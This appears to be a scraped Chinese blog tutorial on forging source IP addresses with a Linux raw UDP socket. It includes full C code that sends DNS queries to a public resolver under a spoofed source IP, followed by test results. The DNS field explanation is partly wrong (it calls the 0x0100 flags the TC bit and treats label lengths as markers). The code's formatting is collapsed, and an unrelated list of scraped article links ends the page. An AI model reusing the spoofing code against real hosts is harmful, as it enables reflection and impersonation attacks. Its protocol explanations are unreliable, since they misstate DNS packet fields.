大家可以到我git托管平台clone一份测测看,本人程序小白,有问题欢迎指出,共同进步。https://github.com/guojunfengcode/udp_raw_socket.git

1.简单的讲一下IP欺骗。
目的是往A发包,一般本应在包里面填充自己的ip地址,在这把ip地址设为B的地址,让A误以为是B地址发的请求包,所以A响应response的时候是往B发包。这就是ip欺骗,主动让A跟B相互联系。

2.那域名解析呢?
只要向网关或都域名服务器的53端口发送一个DNS查询报文,就可以收到服务器响应的报文,解析这个报文就可以得到域名对应的IP地址。在这就需要构建一个DNS查询报文了。

unsigned char DNS[] = { 0x11, 0x12, 0x01, 0x00, 0x00, 0x01, 0x00 ,0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x77, 0x77, 0x77, 0x05, 0x62, 0x61, 0x69, 0x64, 0x75, 0x03, 0x63, 0x6F, 0x6D, 0x00,0x00, 0x01, 0x00, 0x01};

这是个百度www.baidu.com的DNS查询报文请求。
类似这样的数据是有通用结构的。

 11 12 为标识字段01 00 为标志字段,该字段设置了TC表示该报文是可截断的00 01 查询报文数量为100 00 00 00 00 00 表示回答,授权和额外信息都为003 77 77 77 05 62 61 69 64 75 03 63 6F 6D 00 表示查询的名字为www.baidu.com 03是本文结束标志 05是请求标志 通用                       [03 三级域名 05 二级域名 03 顶级域名 00]00 01 为类型,1代表查询IP地址、2代表名字服务器、5代表规范名称、12代表指针记录00 01 为类型,1表示Internet数据

需要注意的是:
标识字段可以自己填充理想值,这个是transaction id,域名服务器会返回一致。
再把域名填充好就可以了,其余数据不用变。

3.利用RawSocket实现ip欺骗效果
socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
使用UDP协议创建原始套接字
现在就要自己实现ip协议头跟udp协议头了,对应结构体可在/usr/include/linux目录下的ip.h和udp.h查看。
struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u8 ihl:4,
version:4;
#elif defined (__BIG_ENDIAN_BITFIELD)
__u8 version:4,
ihl:4;
#else
#error “Please fix <asm/byteorder.h>”
#endif
__u8 tos;
__be16 -tot_len;
__be16 -id;
__be16 -frag_off;
__u8 ttl;
__u8 protocol;
__be16 -check;
__be32 -saddr;
__be32 -daddr;
};

struct udphdr {
__be16 source;
__be16 dest;
__be16 len;
__sum16 check;
};
注意udp头部check校验和的值需要udp伪头部的。
这个伪首部指,源地址、目的地址、UDP数据长度、协议类型(0x11),协议类型就一个字节,但需要补一个字节的0x0,构成12个字节。
typedef struct
{
u_int32_t src;
u_int32_t des;
u_int8_t zero;
u_int8_t pro;
u_int16_t len;
}UDP_PSEUDO_HEADER;
校验和是依赖12字节的UDP伪首部+8字节的udp首部+数据计算的。
校验和的计算方法,取16的值相加,溢出16位的值就丢弃溢位值,把这溢位值加到后面,重复动作,得到最后的值,取反就是检验和了

4.直接上代码吧

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include<memory.h>
#include<stdlib.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include<arpa/inet.h>
#include<netinet/if_ether.h>#define PCKT_LEN 100typedef struct
{u_int32_t src;u_int32_t des;u_int8_t  zero;u_int8_t pro;u_int16_t len;
}UDP_PSEUDO_HEADER;unsigned short checksum(unsigned short *buf, int nwords)
{ unsigned long sum;for (sum = 0; nwords > 0; nwords--){sum += *buf++;}sum = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);return (unsigned short)(~sum);
}int main(int argc, char *argv[])
{int fd;char buffer[PCKT_LEN] ;unsigned char DNS[] = { 0x11, 0x12, 0x01, 0x00, 0x00, 0x01, 0x00 ,0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x77, 0x77, 0x77, 0x05, 0x62, 0x61, 0x69, 0x64, 0x75, 0x03, 0x63, 0x6F, 0x6D, 0x00,0x00, 0x01, 0x00, 0x01};struct iphdr *ip = (struct iphdr *) buffer;struct udphdr *udp = (struct udphdr *) (buffer + sizeof(struct iphdr));struct sockaddr_in sin, din;int  one = 1;const int *val = &one;memset(buffer, 0, PCKT_LEN);if (argc != 5) {printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);exit(-1);}fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);if (fd < 0) {perror("socket() error");exit(-1);}printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, val, sizeof(int))) {perror("setsockopt() error");exit(-1);}printf("setsockopt() is OK.\n");sin.sin_family = AF_INET;din.sin_family = AF_INET;sin.sin_port = htons(atoi(argv[2]));din.sin_port = htons(atoi(argv[4]));sin.sin_addr.s_addr = inet_addr(argv[1]);din.sin_addr.s_addr = inet_addr(argv[3]);ip->ihl = 5;ip->version = 4;ip->tos = 0;ip->tot_len = ((sizeof(struct iphdr) + sizeof(struct udphdr)+sizeof(DNS)));ip->ttl = 64;ip->protocol = 17;ip->check = 0;ip->saddr = inet_addr(argv[1]);ip->daddr = inet_addr(argv[3]);udp->source = htons(atoi(argv[2]));udp->dest = htons(atoi(argv[4]));udp->len = htons(sizeof(struct udphdr)+sizeof(DNS));char for_udp_check[sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr)+sizeof(DNS)+1] = {0};char * udpchecksum = for_udp_check;memset(udpchecksum, 0, sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr) + sizeof(DNS) + 1);UDP_PSEUDO_HEADER * udp_psd_Header = (UDP_PSEUDO_HEADER *)udpchecksum;udp_psd_Header->src = inet_addr(argv[1]);udp_psd_Header->des = inet_addr(argv[3]);udp_psd_Header->zero = 0;udp_psd_Header->pro = 17;udp_psd_Header->len = htons(sizeof(struct udphdr)+sizeof(DNS));memcpy(udpchecksum + sizeof(UDP_PSEUDO_HEADER), udp, sizeof(struct udphdr));memcpy(udpchecksum + sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr), DNS, sizeof(DNS));udp->check = checksum((unsigned short *)udpchecksum,(sizeof(struct udphdr)+sizeof(UDP_PSEUDO_HEADER)+sizeof(DNS)+1)/2);printf("Source IP: %s port: %u, Target IP: %s port: %u. Ip length: %d\n\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), ip->tot_len);int count;memcpy(buffer + sizeof(struct iphdr) + sizeof(struct udphdr), DNS, sizeof(DNS));for (count = 1; count <= 10; count++){if (sendto(fd, buffer, ip->tot_len, 0, (struct sockaddr *)&din, sizeof(din)) < 0) {perror("sendto() error");exit(-1);} else {printf("Count #%u - sendto() is OK.\n", count);sleep(2);}}close(fd);return 0;
}

5.测试结果

查看宿主机的ip是192.168.1.8

在centos上发了一个源地址192.168.1.8发往域名服务器114.114.114.114的53端口。
在宿主机捉包看看有没响应成功。。。

可以看到是成功响应的。响应的域名解析地址是14.215.177.38和14.215.177.39,这俩个都是百度在广东省内电信的域名地址。
也可以ping www.baidu.com看下是否一样。

linux实现局域网IP欺骗dns域名解析相关推荐

  1. linux然后防止ip欺骗,linux – 如何在iptables中防止ip欺骗?

    我在 Linux上的Apache Web服务器被大量不存在文件的请求所困扰.直接影响是访问和访问的快速增长.错误日志.我已经通过不记录这些请求(如果它与特定字符串匹配)来处理这个问题.我们从多个IP地 ...

  2. 傻瓜式:局域网内部搭建DNS域名解析服务

    首先安装所需的yum源 1.yum install -y bind 2.yum install -y bind-utils 3.yum -y install vim 4.修改DNS主配置文件 [roo ...

  3. linux 自动获取ip和dns,linux 配置IP和DNS

    配置IP和DNScss 方法一:修改配置文件web 1.编辑网卡的配置文件bash vi /etc/sysconfig/network-scripts/ifcfg-eth0 #edit eth0 co ...

  4. Linux Centos 配置IP,DNS地址及Xshell远程登陆

    1.先输入ip a回车,查看IP及端口信息. 2.输入:vi /etc/sysconfig/network-scripts/ifcfg-ens33   (输入关键字可以按Tab键补齐) 3.​关键词介 ...

  5. linux查看局域网ip的脚本,检测网段IP使用情况的shell脚本

    #!/bin/bash #main--- network=192.168.1 ping_count=3 IP=1 :>IP_use :>IP_idle :>ping_action e ...

  6. Linux联网配置-IP 网关 DNS

    转载:https://blog.csdn.net/towtotow/article/details/78973210

  7. linux 修改IP, DNS 命令

     linux下修改IP.DNS.路由命令行设置 ubuntu 版本命令行设置IP cat /etc/network/interfaces # This file describes the net ...

  8. linux 修改IP, DNS -(转自fighter)

    linux下修改IP.DNS.路由命令行设置 ubuntu 版本命令行设置IP cat /etc/network/interfaces # This file describes the networ ...

  9. 为什么局域网IP通常以192.168开头而不是1.2或者193.169?

    点击上方"Java基基",选择"设为星标" 做积极的人,而不是积极废人! 每天 14:00 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java ...

最新文章

  1. 深度学习11个实用技巧
  2. nodejs-模块系统
  3. Vue.js学习系列(三十四)-- Vue.js样式绑定(五)
  4. oracle 登录非系统用户,非Oracle用户使用操作系统验证登陆(/ as sysdba)
  5. MobX快速入门教程(重要概念讲解)
  6. Amazon Elastic Map Reduce使用Apache Mahout计算建议
  7. centos下利用httpd搭建http服务器方法
  8. JavaMail中附件名称有乱码
  9. java中的STL库_C++11 STL线程库实现一个简单的线程池
  10. lisp 线性标注自动避让_《数据标注工程》第一章学习笔记及作业:数据标注概述...
  11. centos7网卡编辑_CentOS7网卡命名中碰到的一个坑
  12. 基于HttpClient4.0的网络爬虫基本框架(Java实现)
  13. 利用Enterprise Library中的DAAB构造的数据库访问架构
  14. 算法笔记_面试题_16. 二叉树相关_模板及示例十几道
  15. 模态框 modal.js
  16. Origin绘制热重TG和微分热重DTG曲线
  17. 【Verilog基础】卡诺图化简要点总结
  18. 手把手入门C语言—输入数组
  19. 计算机工作的本质是什么?
  20. 20200404零基础入门数据挖掘 - 二手车交易价格预测笔记(5)

热门文章

  1. 安装部署halo博客
  2. 搭建stf+minicap实现安卓群控
  3. html框架iframe菜鸟,HTML DOM Frame/IFrame frameBorder 属性 | 菜鸟教程
  4. 教你用EasyExcel导出包含图片列的excel
  5. 反相放大器和同相放大器的过程和区别及选择方式概述
  6. 乘法“*”和点乘“.*”除法“/”和点除“./”区别
  7. 使用Power Apps实现SharePoint Online列表的下拉菜单的级联选择
  8. python-对象类型
  9. Vue中keep-alive原理
  10. 美国亚马逊最新要求ASTM F2641 电动滑板车、自平衡踏板车UL2272认证办理流程